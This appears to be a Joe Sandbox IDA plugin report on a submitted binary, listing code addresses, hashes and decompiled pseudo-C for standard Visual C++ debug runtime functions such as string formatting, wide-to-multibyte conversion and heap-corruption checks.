0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c737
0x0043c74e
0x0043c742
0x0043c742
0x0043c742
0x0043c758
0x0043c75e
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c53a
0x0043c540
0x0043c54a
0x0043c564
0x0043c57e
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c599
0x0043c5a5
0x0043c5bb
0x0043c5c0
0x0043c5c0
0x0043c5d6
0x0043c5db
0x0043c5e4
0x0043c602
0x0043c607
0x0043c607
0x0043c60e
0x0043c6c8
0x0043c6db
0x0043c6e0
0x00000000
0x0043c61e
0x0043c61e
0x0043c621
0x0043c62a
0x0043c630
0x0043c630
0x0043c63f
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c64c
0x0043c671
0x0043c676
0x0043c679
0x0043c686
0x0043c694
0x0043c6a7
0x0043c6ac
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6ea
0x0043c708
0x0043c70d
0x0043c70d
0x00000000
0x0043c6ea
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcfd
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be42
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc9
0x0043bde5
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a6
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c188
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c1b1
0x0043c1bb
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x00000000
0x0043c213
0x0043c0b7
0x0043c0b7
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd28
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x00000000
0x0043c065
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bff0
0x0043c038
0x00000000
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c294
0x0043c299
0x0043c29f
0x0043c29f
0x00000000
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be89
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf6d
0x0043bf70
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043beed
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x00000000
0x0043bf75
0x00000000
0x0043c22d
0x0043c22d
0x00000000
0x00000000
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bced
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c530
0x0043c387
0x0043c37e
0x0043c2a2
0x0043c2a2
0x0043c2a2

APIs

_get_int64_arg.LIBCMTD ref: 0043C2B0
_get_int64_arg.LIBCMTD ref: 0043C2D8
__aullrem.LIBCMT ref: 0043C480
__aulldiv.LIBCMT ref: 0043C4A2
_write_multi_char.LIBCMTD ref: 0043C5BB
_write_string.LIBCMTD ref: 0043C5D6
_write_multi_char.LIBCMTD ref: 0043C602
__mbtowc_l.LIBCMTD ref: 0043C671

Strings

_woutput_s_l, xrefs: 0043B9BB
9, xrefs: 0043C4B3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B986, 0043B9B6
("Incorrect format specifier", 0), xrefs: 0043B97A, 0043B9C0

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction ID: d778dccc8577e60b0c8e185213316d71c2e8124421215f79a2b6a63ec7b6d28d
Opcode Fuzzy Hash: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction Fuzzy Hash: 4FF12AB1D002299FDB24CF55CC81BAEB7B5BF89304F14919AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00437093, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00437093(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041ACE0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041ACE0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422D00(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041ACB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041ACB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DB50(_t208,  *(_t274 + 0xc));
						E0041ACB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BCB0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041ACE0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422D00(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041ACB0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041ACE0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041ACE0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422D00(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041ACB0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422D00(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041ACB0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041ACB0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041ACB0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041ACB0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041ACB0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00437480( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041ACE0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422D00(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041ACB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041ACB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041ACB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422D00(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041ACB0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041ACB0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x00437093
0x00437093
0x00437093
0x00437097
0x004373ce
0x004373d3
0x004373d9
0x0043740b
0x0043740e
0x00437413
0x0043741f
0x00437426
0x00437433
0x00437439
0x00437443
0x00437448
0x0043744d
0x00437453
0x00437459
0x0043745e
0x0043745e
0x004373db
0x004373db
0x004373e7
0x004373ed
0x004373f2
0x004373f2
0x0043746b
0x00437478
0x00437478
0x004370ab
0x00437155
0x00437221
0x00437223
0x0043722d
0x00437234
0x00437259
0x0043726b
0x00437271
0x0043727b
0x00437280
0x00437288
0x00437288
0x0043729d
0x004372bf
0x004372c1
0x004372cb
0x004372d2
0x004372df
0x004372e5
0x004372ef
0x004372f4
0x004372fc
0x00437300
0x0043730d
0x00437313
0x0043731d
0x00437322
0x0043732a
0x00437333
0x0043734b
0x00437366
0x0043737b
0x00437380
0x00437388
0x0043735a
0x00437363
0x00000000
0x00437363
0x0043738d
0x00437393
0x00437398
0x00000000
0x00437398
0x004373a5
0x004373a8
0x00000000
0x004373a8
0x00437338
0x0043733e
0x00437343
0x00437343
0x00437300
0x00000000
0x004372d2
0x004373b3
0x004373b9
0x004373be
0x004373be
0x0043723c
0x00437242
0x00437248
0x0043724d
0x0043724d
0x00000000
0x00437234
0x0043715f
0x00437171
0x00437171
0x00437186
0x00437194
0x00437196
0x004371a0
0x004371a7
0x004371e1
0x004371e7
0x004371f1
0x004371f6
0x004371af
0x004371bb
0x004371c3
0x004371c3
0x004371c6
0x004371c9
0x004371cf
0x004371d4
0x004371d4
0x00000000
0x00000000
0x00000000
0x00000000
0x004370b1
0x004370b1
0x004370b1
0x004370b7
0x00000000
0x00000000
0x004370b9
0x004370c4
0x004370f3
0x004370f8
0x00437101
0x00437106
0x00437121
0x00437124
0x00000000
0x00437124
0x0043710b
0x00437111
0x00437116
0x004370c6
0x004370cb
0x004370d1
0x004370db
0x004370e0
0x004370e0
0x00000000
0x004370c4
0x0043712c
0x00437132
0x00437137
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004370DB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437111
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437132
wcsncnt.LIBCMTD ref: 00437169
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0043719A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004371CF
_wcslen.LIBCMTD ref: 004373DF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373ED

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction ID: 99bccc0d6165af98b481743bca9508cf16abfd6ecc65ebedc41acbe7df030551
Opcode Fuzzy Hash: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction Fuzzy Hash: A7D13A71A04108EFDB14DF94C894AEEB7B1FF48314F20815AE4526B3A1DB38AE45DF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4C5, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C4D9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C565
_CheckBytes.LIBCMTD ref: 0041C610
_CheckBytes.LIBCMTD ref: 0041C6CA
_memset.LIBCMT ref: 0041C7C1
__free_base.LIBCMTD ref: 0041C7CD

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C659
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C5CF
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C571
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C4E9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C713
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C751
Client hook free failure., xrefs: 0041C53C
tDj, xrefs: 0041C51B
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C697
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C57D, 0041C5DB, 0041C796
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C78A

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction ID: cc39549788dd8b5500cf743b83f3e8b8bb1e145f17a2ce693c8b735925be147a
Opcode Fuzzy Hash: 53afec49f25ed11a793c0d19b28a675c0cd9a41ed180ea8b66a6124fe9fb7620
Instruction Fuzzy Hash: B491E874B80204BBD714DB44DE86FAA7366AB44704F344155F6046B3C2D2B5FE80CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434CD7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434CD7(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428360(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433F00() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E210();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E00428290(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E004282D0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00428290(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E004282D0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00434220(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E004282D0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00428290(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C3D0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
